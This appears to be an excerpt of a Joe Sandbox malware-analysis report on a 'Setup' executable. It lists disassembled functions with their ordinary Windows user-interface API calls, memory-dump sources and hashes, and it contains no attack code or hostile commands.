Instruction ID: 5f393acc948ae95b89b517c187a410958fe9bcc8eda00eed34bcb22f68f5574e
Opcode Fuzzy Hash: 5e0bd8b621b4f093088a81438d40c58813e56544e26d0ffef80595e667d46862
Instruction Fuzzy Hash: 40D17DB1D012589FCF15CFA8C8809EDBBB5BF49314F24415AE856FB252E631AE46CB50

Function 00BAA461 Relevance: 9.3, APIs: 6, Instructions: 268windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(00000000), ref: 00BAA58E
GetWindowRect.USER32(?,00000000), ref: 00BAA5AB
PtInRect.USER32(00000000,00000000,00000000), ref: 00BAA5D3
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00BAA5E6

Part of subcall function 00B706CD: GetParent.USER32(?), ref: 00B706D7

SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00BAA650
GetFocus.USER32 ref: 00BAA749

Part of subcall function 00BCD9DA: __EH_prolog3_GS.LIBCMT ref: 00BCD9E4
Part of subcall function 00BCD9DA: GetWindowRect.USER32(?,?), ref: 00BCDA7D
Part of subcall function 00BCD9DA: SetRect.USER32(?,00000000,00000000,?,?), ref: 00BCDAA3
Part of subcall function 00BCD9DA: CreateCompatibleDC.GDI32(?), ref: 00BCDAAF
Part of subcall function 00BCD9DA: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00BCDAD9
Part of subcall function 00BCD9DA: GetWindowRect.USER32(?,?), ref: 00BCDB3B
Part of subcall function 00BCD9DA: GetClientRect.USER32(?,?), ref: 00BCDB48

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Window$CompatibleCreateMessageSend$BitmapClientCursorFocusH_prolog3_Parent
String ID:
API String ID: 2914356772-0
Opcode ID: 934f7f941e59d83a30a1413c44ca260a3f8402f45dfcbab0af769f42db4bd730
Instruction ID: 40e2dc7a4524288b4300f5afa0ca90c08cae3662b42e2147c2521eecf02ebecf
Opcode Fuzzy Hash: 934f7f941e59d83a30a1413c44ca260a3f8402f45dfcbab0af769f42db4bd730
Instruction Fuzzy Hash: D1A1CD35A046019FDB19AF20C899BBE37F5FF85311F1800B9E8069B291DF74AD41CBA2

Function 00B9022E Relevance: 9.2, APIs: 6, Instructions: 236windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000365,00000000,?), ref: 00B902B0
SendMessageW.USER32(?,00000111,0000E147,00000000), ref: 00B902C8
__EH_prolog3_GS.LIBCMT ref: 00B902E0
GetDlgCtrlID.USER32(?), ref: 00B90336
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000213), ref: 00B903C5
SetMenu.USER32(?,?), ref: 00B904D6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageSend$CtrlH_prolog3_MenuWindow
String ID:
API String ID: 1887722078-0
Opcode ID: e1b210fd8a24923f690459a2425452fd8ca8e24c4c6ec28be62965913df990d6
Instruction ID: c2a083e9283b1dacab60593e16760d658a320f5e3b37441f586c3d28cbd12675
Opcode Fuzzy Hash: e1b210fd8a24923f690459a2425452fd8ca8e24c4c6ec28be62965913df990d6
Instruction Fuzzy Hash: 47711471610606AFDF24BB78CC49BAEB7E8EF14310F0405BAE65997691DB70ED80CB51

Function 00B9E1FB Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00B9E39C
GetParent.USER32(?), ref: 00B9E3BB
GetParent.USER32(?), ref: 00B9E3CA
RedrawWindow.USER32(?,00000000,00000000,00000505,00CE766C,00000000), ref: 00B9E430
GetParent.USER32(?), ref: 00B9E439
RedrawWindow.USER32(?,00000000,00000000,00000505,00000000), ref: 00B9E460

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Parent$RedrawWindow
String ID:
API String ID: 2946272266-0
Opcode ID: fcbc2b2b802c35b9c1e369a4dcfba563193b481a2d5febffc4179ad5164688f8
Instruction ID: d344515d490cbd83cfa1d8b31f53466cd2aebb1af4787aebef4f82442a135bd6
Opcode Fuzzy Hash: fcbc2b2b802c35b9c1e369a4dcfba563193b481a2d5febffc4179ad5164688f8
Instruction Fuzzy Hash: 2D716D35701615AFCF09EF64D898B6D7BB9FF48310B1441AAE816973A1DB34AE01CF91

Function 00BF6935 Relevance: 9.2, APIs: 6, Instructions: 178windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BF693C
GetWindow.USER32(000000FF,00000005), ref: 00BF69DF
LockWindowUpdate.USER32(000000FF,00000000), ref: 00BF6AE6
SendMessageW.USER32(000000FF,?,00000000,?), ref: 00BF6B08
LockWindowUpdate.USER32(00000000), ref: 00BF6B10
PostMessageW.USER32(?,00000007,00000000,00000000), ref: 00BF6B5D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$LockMessageUpdate$H_prolog3PostSend
String ID:
API String ID: 1765037730-0
Opcode ID: 0e85d582bca6e2a6bb42da4d610236a5dd072012244e49868185f223e5b63f1c
Instruction ID: 0fb7f3578e33d2ab17f860a38a9f1b40162492dea979e1eb6f6dc04356d7e4a9
Opcode Fuzzy Hash: 0e85d582bca6e2a6bb42da4d610236a5dd072012244e49868185f223e5b63f1c
Instruction Fuzzy Hash: 2151F231700A09AFDB056B60DC56B7D3BE1EF84394F1480B9EE0AAB391DF749E448B51

Function 00B98B03 Relevance: 9.2, APIs: 6, Instructions: 172windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00B98B91
SendMessageW.USER32(?,0000040C,00000000,00000000), ref: 00B98BCD
SendMessageW.USER32(00000000,0000041C,00000000,?), ref: 00B98C00
SetRectEmpty.USER32(?), ref: 00B98C6D
SendMessageW.USER32(00000000,0000040B,00000000,?), ref: 00B98CCD
RedrawWindow.USER32(00000000,00000000,00000000,00000505), ref: 00B98CFC

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageSend$EmptyParentRectRedrawWindow
String ID:
API String ID: 3879113052-0
Opcode ID: 9a21006a5a1563459a40dc1e0c2033f0d33e2e8e2bf6675ed7c326cfb3bdb9d7
Instruction ID: 725b354a368a9696f11966c813e5ab7b768fd542faa0d1106118839930dd673f
Opcode Fuzzy Hash: 9a21006a5a1563459a40dc1e0c2033f0d33e2e8e2bf6675ed7c326cfb3bdb9d7
Instruction Fuzzy Hash: BA616CB1A016199FDF18DFA8D894BAEBBF5FF48300F1441AEE506A7291DB706940CF90

Function 00B8FB16 Relevance: 9.2, APIs: 6, Instructions: 158keyboardwindowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000362,-0000E001,00000000), ref: 00B8FB94
UpdateWindow.USER32(?), ref: 00B8FBB5
GetKeyState.USER32(00000079), ref: 00B8FBD3
GetKeyState.USER32(00000012), ref: 00B8FBE4
GetParent.USER32(?), ref: 00B8FCA7
PostMessageW.USER32(?,0000036A,00000000,00000000), ref: 00B8FCC1

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageState$ParentPostSendUpdateWindow
String ID:
API String ID: 3941036086-0
Opcode ID: 01d3797a448f5535bbc1281b5fcd5ecdf848c804df42bcbbd038f0dcbc6ac54d
Instruction ID: 792dd2df506fe21e4a8342e3778dd2b06b8d31807a37d7d2465cd32dc8245f04
Opcode Fuzzy Hash: 01d3797a448f5535bbc1281b5fcd5ecdf848c804df42bcbbd038f0dcbc6ac54d
Instruction Fuzzy Hash: 1C51AD7170064AFBDB18AB60C888BBDBBA5FF04750F0441BAED05972A0DB70AE50DF91

Function 00B8757B Relevance: 9.1, APIs: 6, Instructions: 139windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000100,?,00000000), ref: 00B87619
SendMessageW.USER32(?,0000020A,?,?), ref: 00B876AD
IsWindow.USER32(?), ref: 00B876D5
ClientToScreen.USER32(?,?), ref: 00B876E6
IsWindow.USER32(?), ref: 00B87703
ClientToScreen.USER32(?,?), ref: 00B87732

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClientMessageScreenSendWindow
String ID:
API String ID: 2093367132-0
Opcode ID: b2a693c8877214d542bff1458af49b65f68fd2d6f55e201d9af0f9672e5fbcfd
Instruction ID: 488a058c62ebdb0156610d9b2c3fc78c22526ab1ccb8a8092d57ec3cfdf7f7b6
Opcode Fuzzy Hash: b2a693c8877214d542bff1458af49b65f68fd2d6f55e201d9af0f9672e5fbcfd
Instruction Fuzzy Hash: DD41A13558C600EBDB217B64CC88B6E76E5EB05708F3048FAE596D1171EE35DD40D711

Function 00BAEBED Relevance: 9.1, APIs: 6, Instructions: 135COMMON

Download Yara Rule

APIs

FillRect.USER32(?,?,00000000), ref: 00BAEC2C
GetParent.USER32(?), ref: 00BAEC4D
GetWindowRect.USER32(?,?), ref: 00BAEC6F
GetClientRect.USER32(?,?), ref: 00BAED17
MapWindowPoints.USER32(?,?,?,00000002), ref: 00BAED29
DrawThemeBackground.UXTHEME(?,?,00000000,00000000,?,00000000), ref: 00BAED51

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Window$BackgroundClientDrawFillParentPointsTheme
String ID:
API String ID: 2136005349-0
Opcode ID: 48f92e6751c654bf987fe1352a3d5ee29dab53be93fd3ec1a744592e9a2ef8f9
Instruction ID: d91873e14265d6a67f1527872ab3274ddb46ad940df9a0d2c16b97762d43bdc3
Opcode Fuzzy Hash: 48f92e6751c654bf987fe1352a3d5ee29dab53be93fd3ec1a744592e9a2ef8f9
Instruction Fuzzy Hash: 695139B1A01249DFCB10DFA9D944AAEBBF4FF49310B1445AAE815E7221E730DE00CFA1

Function 00B96DA8 Relevance: 9.1, APIs: 6, Instructions: 107windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00B96DE4

Part of subcall function 00B6F051: UnhookWindowsHookEx.USER32(?), ref: 00B6F07B

IsWindowEnabled.USER32(000000FF), ref: 00B96E13
EnableWindow.USER32(000000FF,00000000), ref: 00B96E2E
EnableWindow.USER32(00000000,00000001), ref: 00B96ECD
IsWindow.USER32(?), ref: 00B96ED7
SetFocus.USER32(?), ref: 00B96EE2

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$EnableFocus$EnabledHookUnhookWindows
String ID:
API String ID: 2931672367-0
Opcode ID: b51ffd17cdd5b2db04139de6e089193152fab205eabb6c022e7df1de03d9917e
Instruction ID: c0e0548741c49925a782e82699a87f13e2904ef6f93392cb4abb4773a658af70
Opcode Fuzzy Hash: b51ffd17cdd5b2db04139de6e089193152fab205eabb6c022e7df1de03d9917e
Instruction Fuzzy Hash: E7418C35701A01EFCF08AFA4C989B99BBE5FF45304F0581BAF40997262DB70E955CB92

Function 00BAC9F2 Relevance: 9.1, APIs: 6, Instructions: 94windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 00BACA21
OffsetRect.USER32(?,?,?), ref: 00BACA3F
SendMessageW.USER32(00000000,0000000B,00000000,00000000), ref: 00BACA4C
IsWindowVisible.USER32(00000000), ref: 00BACA55
SendMessageW.USER32(00000000,0000000B,00000001,00000000), ref: 00BACAC8
RedrawWindow.USER32(00000000,00000000,00000000,00000105), ref: 00BACAD8

Part of subcall function 00B75E1F: SetWindowPos.USER32(00000000,?,00000015,000000FF,000000FF,?,?,?,?,00B6FCE7,00000000,?,?,000000FF,000000FF,00000015), ref: 00B75E47

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$MessageRectSend$OffsetRedrawVisible
String ID:
API String ID: 2707749077-0
Opcode ID: 64258fd755703923dc01e58da0398fa2bb0095a1a3e2bba54f396f2c89b76155
Instruction ID: e51f9b34471d945b82c74b295cfbbf744940dfe153e965cc0b6cc53efd2a57e1
Opcode Fuzzy Hash: 64258fd755703923dc01e58da0398fa2bb0095a1a3e2bba54f396f2c89b76155
Instruction Fuzzy Hash: D5312FB2A11609BFDB11DFA4DD85EBFBBBDFB08704F000559B656E62A0D7709E009B21

Function 00B72F19 Relevance: 9.1, APIs: 6, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B72F3A
GetWindow.USER32(?,00000005), ref: 00B72F51
GetWindowRect.USER32(00000000,00000000), ref: 00B72F75

Part of subcall function 00B6CE07: ScreenToClient.USER32(?,?), ref: 00B6CE16
Part of subcall function 00B6CE07: ScreenToClient.USER32(?,?), ref: 00B6CE23

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000015), ref: 00B72F9B
GetWindow.USER32(00000000,00000002), ref: 00B72FA4
ScrollWindow.USER32(?,?,?,?,?), ref: 00B72FC0

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$ClientScreen$RectScrollVisible
String ID:
API String ID: 1714389229-0
Opcode ID: 31e3b1d4754bbd193eaeddac679ff27b2b2983836b38f37932bd44eefebb629b
Instruction ID: aa0a8a07a731618cef3b3b8de6754b008c2895db60a2b564077fc91bf716bbd6
Opcode Fuzzy Hash: 31e3b1d4754bbd193eaeddac679ff27b2b2983836b38f37932bd44eefebb629b
Instruction Fuzzy Hash: 7A31AE76600609BFDB11DF64CD88BBEBBB9FF88715F118019F915AB250DB349E008B61

Function 00BAAC98 Relevance: 9.1, APIs: 6, Instructions: 86timeCOMMON

Download Yara Rule

APIs

PtInRect.USER32(?,?,?), ref: 00BAACB7
ReleaseCapture.USER32 ref: 00BAACC5
PtInRect.USER32(?,?,?), ref: 00BAAD1A
InvalidateRect.USER32(?,?,00000001), ref: 00BAAD84
SetTimer.USER32(?,0000EC16,00000050,00000000), ref: 00BAADA8

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
